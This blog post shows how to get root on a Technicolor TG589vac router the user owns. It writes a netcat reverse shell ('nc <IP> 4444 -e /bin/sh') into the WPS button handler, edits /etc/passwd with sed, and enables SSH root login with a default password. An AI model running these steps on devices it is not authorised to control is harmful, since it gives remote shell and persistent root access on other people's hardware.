Tuesday 15 May 2018

LAN side root on Technicolor MediaAccess TG589vac

Here is a method for gaining root access to your Technicolor TG589vac (and probably other models of) router.

Unfortunately this will only work on European models that have SSH enabled with an engineer account enabled.

Tested working on firmware revision 17.2.0278

It's a bit more involved than the older methods but here goes:

First set up a machine listening with netcat (make a note of it's IP)

nc -lvvp 4444

Set up the WPS button to connect back to your listening machine. Log into the engineer account using SSH. Password is printed on the label as access code.

get uci.button.button.@wps.handler
set uci.button.button.@wps.handler 'nc <IP ADDRESS> 4444 -e /bin/sh'
get uci.button.button.@wps.handler

Push the WPS button on the router (on the 589 it's the one on the side, visible in the image up top)

Congrats, you now have a root shell.

Once logged in you can set up root login via ssh. The following will read the passwd file, then modify the root shell from /bin/false to /bin/ash

cat /etc/passwd
sed -i "1s/\/bin\/false/\/bin\/ash/" /etc/passwd
cat /etc/passwd

Make sure the 2nd output of the passwd file has the correct root shell.

Next, configure dropbear to allow root login via SSH

uci set dropbear.lan.RootLogin='1'
uci set dropbear.lan.RootPasswordAuth='on'
uci commit

You have to restart dropbear

/etc/init.d/dropbear restart

root password is root :)

Login via SSH, set new root password

root@dsldevice:~# passwd root
New password:
Retype password:
Password for root changed by root

Set WPS button back using UCI

uci set button.wps.handler='wps_button_pressed.sh'
uci commit

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